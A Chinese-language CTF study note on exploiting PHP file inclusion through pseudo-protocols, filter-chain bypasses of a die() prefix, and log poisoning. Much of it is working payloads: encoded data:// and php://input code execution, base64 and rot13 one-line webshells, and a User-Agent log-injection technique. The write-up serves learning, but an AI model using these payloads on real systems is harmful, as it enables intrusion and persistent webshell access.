文章目录
文件包含中伪协议的利用一直没有整理知识,今天就用这篇文章梳理一下伪协议方面的解题吧
伪协议:
首先说一下:./ 与…/的区别:
./是:当前目录
…/是父级目录
fillter、file用来读取文件源码
filter协议用于读取源码居多,读取路径是相对路径,较为轻松。一般拿来读取index.php源码
?file=php://filter/read=convert.base64-encode/resource=./flag.php
这里说一下,php这里可以大写
例如:
使用filter读取源码,方便我们下一步
说说file协议:
?file=file://+绝对路径
因为这里是绝对路径,所以没有fileter那么好用,做题的时候也没有遇到过该协议使用
data与php://input协议利用
php://input
php://input可以访问请求的原始数据的只读流,将请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。
注:当enctype=”multipart/form-data”时,php://input是无效的。
仔细解读这段话,有个地方:当传入的参数作为文件名打开时,可以讲参数设置成…,PHP执行时会将POST内容当成文件内容执行,这就很符合我们的include等文件包含类的函数
给出几个playload
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
//(<?phpsystem(cat ./flag.php);
data: text/plain,<?php 执行内容 ?>
data://和php://input 协议很相似
?file=php://input
post:<?php system("cat ./flag.php");?>
找个题目来练练手:
值得注意的是,POST的内容是被当成文件内容执行,所以这里依然要按照php语言来写命令
同样的我们看看DATA协议:
同样依然可以打出来
zip://与phar://
这两个协议都是解压缩包的协议,通常是配合文件上传进行使用:
例如:遇到include($file .‘txt’)这种被强制加入了后缀名,那么可以采用上传一个PNG 或者JPG等等白名单的形式,然后通过phar解压打开
例如:
?file=phar://uploads/1.png/1.txt 1.txt里面就是我们的一句话
这里我们可以去掉后缀txt,因为源码会给我们拼接
phar:// 与zip://不同的是 ,zip需要绝对路径
filter绕过死亡die
base64绕过
关于这两个地方的知识点,是在P神那学到的,文章在这里
先来看看源码:
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
可以看见有file_put_contents函数,那么应该是写🐎。这里之前我是想过包含日志文件,但由于u才能在<?php die('大佬别秀了');?>,而且是在第一句,所以就算包含了写了🐎的日志文件,还是会先执行die,其次在看,过了了很多东西,很多伪协议没有办法使用,但是留了filter协议,那么就从filter下手。
这里的原理是通过编码解码的差异性:
filer协议可以把源文件编码输出,那么也可以解码输出
而我们这需要的是写入权限到文件,所以playload有所不同:
php://filter/write=convert.base64-decode/resource=123.php //注意这里是写入权限,所以要用write
//而且这里是把base64解码后的文件写进去
关键点来了,base64解码的差异性:
base64分为两步:首先找出可以识别的字符串,其次4个一组进行编码或者解码
识别:我们传进去的$content是我们base64之后的一句话木马,而<?php die('大佬别秀了');?>是原文的,base64是无法识别某些字符的,比如说中文 ? ( ) 而当base-decode的时候,遇到无法识别的字符就会自动跳过,所以
<?php die('大佬别秀了');?> //经过decode识别后的字符只有phpdie
解码:因为解码时4个字节为一组,所以这里为了满足4个字节,我们需要手动添加两个字母上去:aa
然后 content传入我们的正常base-encode的🐎
懒得开环境了 讲究一下其他作者的图片来看看把:
蚁剑直接链接/123.php就可以了
strip_tags绕过
strip_tags去除标签,P神文章里面讲解得很清楚了,
借用一下P神文章里面得图片:
playload:php://filter/read=string.strip_tags/resource=php://input
可以看见标签及其内容都被去掉了,那么如果在这里同样用这种方法得话,会把我们传进去得🐎标签也会被去掉,有啥办法可以不去掉呢? 既然这依然时filter协议,那就继续用base64解码啦!这里php标签内容直接被去掉了,也跟本不存在解码差异性啦!
直接上playload:
playload:php://filter/read=string.strip_tags|convert.base64-decode/resource=shell.php
POST: content=PD9waHAgZXZhbCgkX1tQT1NUXSk7Pz4= (一句话木马, 后面的等于符号只是填充符号,看你心情要不要)
ROT3编码
ROT13码意思是将字母左移13位。如’A’ ↔ ‘N’, ‘B’ ↔ ‘O’,‘V’ ↔ ‘I’。
那么die就会改变,如果PHP环境没有开启段标签的话,也不会进行报错
也正因为ROT13是把所有的字母都会左移,所以我们传进去的字符串也要进行一个变形才可以
这里传入的 <?php phpinfo()?> == <?cuc cucvasb()?>
playload
php://filter/read=string.rot13|convert.base64-decode/resource=shell.php
用P神的图片啦:
关于ROT13playload:
GET
file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2577%2572%2569%2574%2565%253d%2573%2574%2572%2569%256e%2567%252e%2572%256f%2574%2531%2533%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%2562%252e%2570%2568%2570
//file=php://filter/read=string.rot13/resource=b.php
POST
content=<?cuc riny($_CBFG[1]);
//content=<?php eval($_POST[1]);
最后这里再说一下为什么要进行二次编码的原因:
因为源码存在url-decode ,再加上服务端本身也要自动解码一次 所以一共是两次,用BP传把,不过按理来说经过三次编码后Hacker传应该也没有多大问题,感兴趣的话自己尝试。
包含日志文件
最常见的日志文件地址:
/var/log/nginx/access.log
过滤了协议:
因为文件包含有include函数,那么我们可以包含日志文件然后蚁剑链接
日志文件主要是记录我们的UA信息,所以我们可以抓包修改成一句话,然后日志包含,蚁剑链接即可
看个题:
源码:
<?php include($_GET['url']);?> //过滤了各种协议
下面通过修改UA头注入一句话到日志文件去
访问一下日志文件 看看什么样子的
当然我们也可以通过日志文件直接去命令执行:
ls 列出当前目录
虽然可以直接执行,但是更建议写一句话木马链接,事半功倍